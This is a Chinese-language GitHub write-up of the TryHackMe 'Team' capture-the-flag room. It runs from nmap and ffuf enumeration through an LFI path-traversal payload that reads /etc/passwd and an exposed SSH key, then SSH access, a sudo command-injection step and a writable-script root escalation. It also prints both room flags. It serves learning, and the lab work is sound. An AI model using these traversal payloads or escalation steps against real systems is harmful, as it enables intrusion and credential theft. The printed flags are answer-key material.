ImperialX1104/TryHackMe-Team-Writeup
GitHub: ImperialX1104/TryHackMe-Team-Writeup
TryHackMe Team 房间的渗透测试详细 writeup,完整记录了从侦察到 root 提权的攻击路径。
Stars: 0 | Forks: 0
# TryHackMe-Team-Writeup
TryHackMe Team 房间的详细 writeup,涵盖枚举、LFI 漏洞利用、SSH 密钥泄露、权限提升和 root 权限接管。
# TryHackMe - Team Writeup
## 房间信息
| 房间 | Team |
| ---------- | --------- |
| 平台 | TryHackMe |
| 难度 | Easy |
| 类型 | Boot2Root |
| 作者 | TryHackMe |
# 目标
通过利用配置错误和漏洞,接管目标机器并获取 user 和 root 访问权限。
# 侦察
## 目标验证
首先,验证与目标机器的连通性。
### 命令
```
ping 10.49.170.131
```
### 结果
```
64 bytes from 10.49.170.131: icmp_seq=1 ttl=62 time=29.4 ms
64 bytes from 10.49.170.131: icmp_seq=2 ttl=62 time=56.5 ms
```
### 截图

# Nmap 枚举
## 命令
```
nmap -A -v -T4 10.49.170.131 -oN nmap.txt
```
## 结果
```
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache 2.4.41
```
### 观察结果
* FTP 服务运行在端口 21
* SSH 服务运行在端口 22
* Apache Web 服务器运行在端口 80
### 截图

# Web 枚举
访问目标网站显示了 Apache 的默认页面。
### 截图

该页面包含一个有趣的提示:
```
If you see this add 'team.thm' to your hosts
```
# 修改 Hosts 文件
### 命令
```
echo "10.49.170.131 team.thm" | sudo tee -a /etc/hosts
```
# 目录枚举
## 命令
```
ffuf -u http://team.thm/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt \
-fc 200
```
## 结果
```
scripts
assets
images
```
### 截图

# 虚拟主机枚举
## 命令
```
ffuf \
-u http://team.thm \
-H "Host: FUZZ.team.thm" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs 11366
```
## 结果
```
dev.team.thm
www.dev.team.thm
```
### 截图

# 更新 Hosts 文件
### 命令
```
echo "10.49.170.131 dev.team.thm" | sudo tee -a /etc/hosts
```
# 开发站点发现
浏览至:
```
http://dev.team.thm
```
显示了一个开发页面。
### 截图

### 页面内容
```
Site is being built
Place holder link to team share
```
# 本地文件包含 (LFI)
进一步的测试发现了一个存在漏洞的页面参数。
## 漏洞 Endpoint
```
http://www.dev.team.thm/script.php?page=
```
### LFI 测试
```
http://www.dev.team.thm/script.php?page=../../../../../../etc/passwd
```
### 结果
```
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
```
### 截图

### 影响
应用程序未对用户输入进行过滤,允许在服务器上读取任意文件。
# 敏感文件泄露
在确认了 LFI 漏洞后,我们开始针对其他额外文件。
## SSH 配置文件
```
http://www.dev.team.thm/script.php?page=../../../../../../etc/ssh/sshd_config
```
### 发现
对响应的检查发现了一个暴露的 OpenSSH 私钥。
```
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
```
### 截图

# 提取 SSH 密钥
### 保存密钥
```
nano id_rsa.key
```
### 设置权限
```
chmod 600 id_rsa.key
```
### 截图

# 初始访问
### 命令
```
ssh -i id_rsa.key dale@team.thm
```
### 结果
```
Last login: Mon Jan 18 10:51:32 2021
dale@ip-10-48-184-36:~$
```
成功以用户 **dale** 的身份进行了认证。
### 截图

# User Flag
### 读取 Flag
```
cat user.txt
```
### Flag
```
THM{6Y0TXHz7c2d}
```
### 截图

# 权限提升
## Sudo 枚举
### 命令
```
sudo -l
```
### 输出
```
User dale may run the following commands on ip-10-48-184-36:
(gyles) NOPASSWD: /home/gyles/admin_checks
```
### 截图

# 脚本分析
### 命令
```
cat /home/gyles/admin_checks
```
### 漏洞
变量:
```
$error
```
被执行时直接未经验证,导致了一个 **Command Injection** 漏洞。
### 截图

# 利用 Command Injection
### 以 Gyles 身份执行脚本
```
sudo -u gyles /home/gyles/admin_checks
```
### 结果
生成了一个以用户 **gyles** 身份运行的 shell。
### 验证
```
id
```
```
uid=1001(gyles) gid=1001(gyles)
groups=1001(gyles),108(lxd),1003(editors),1004(admin)
```
### 截图

# Root 权限提升
在以 **gyles** 身份枚举系统时,发现了一个可写的备份脚本。
## 备份脚本
### 位置
```
/usr/local/bin/main_backup.sh
```
### 截图

## 权限提升发现
一个具有特权的备份机制依赖于一个可被低权限用户修改的脚本。因为该脚本是以高权限执行的,所以这构成了一个权限提升的攻击向量。
### 截图

# Root Flag
### 截图

# 攻击路径
```
Apache Default Page
│
▼
team.thm
│
▼
Directory Enumeration
│
▼
Virtual Host Discovery
│
▼
dev.team.thm
│
▼
Local File Inclusion
│
▼
Read Sensitive Files
│
▼
SSH Private Key Disclosure
│
▼
SSH Access as dale
│
▼
User Flag
│
▼
Sudo Enumeration
│
▼
Command Injection
│
▼
Shell as gyles
│
▼
Writable Backup Script
│
▼
Root Access
```
# Flag
## User Flag
```
THM{6Y0TXHz7c2d}
```
## Root Flag
```
THM{fhqbznavfonq}
```
# 当前进度
✅ 侦察
✅ 目录枚举
✅ 虚拟主机发现
✅ 本地文件包含
✅ SSH 密钥泄露
✅ SSH 访问
✅ User Flag
✅ 提权至 gyles
✅ Root 访问
✅ Root Flag
# 使用的截图
```
screenshots/ping.png
screenshots/nmap-scan.png
screenshots/apache-default.png
screenshots/ffuf-directories.png
screenshots/vhost-enum.png
screenshots/dev-site.png
screenshots/lfi-passwd.png
screenshots/lfi-private-key.png
screenshots/private-key-saved.png
screenshots/ssh-dale.png
screenshots/user-flag.png
screenshots/sudo-l.png
screenshots/admin-checks-script.png
screenshots/gyles-shell.png
screenshots/main-backup-script.png
screenshots/root-shell.png
screenshots/root-flag.png
```
# 结论
这个房间展示了多种真实的攻击路径,包括虚拟主机发现、本地文件包含、通过敏感文件泄露导致的凭据暴露、Command Injection,以及通过不安全的可写备份脚本进行的权限提升。
学到的关键经验:
* 进行彻底的枚举,并验证所有发现的主机。
* 利用文件包含漏洞访问敏感文件。
* 保护 SSH 密钥和配置文件免受意外泄露。
* 切勿在脚本中执行未经处理的用户输入。
* 限制特权用户执行脚本的写入权限。
**Team** 房间是一个优秀的初中级挑战,在真实环境中巩固了枚举、漏洞利用和 Linux 权限提升技术。
标签:CISA项目, CTI, HTTP工具, Web报告查看器, 协议分析, 安全教程, 权限提升, 网络安全, 隐私保护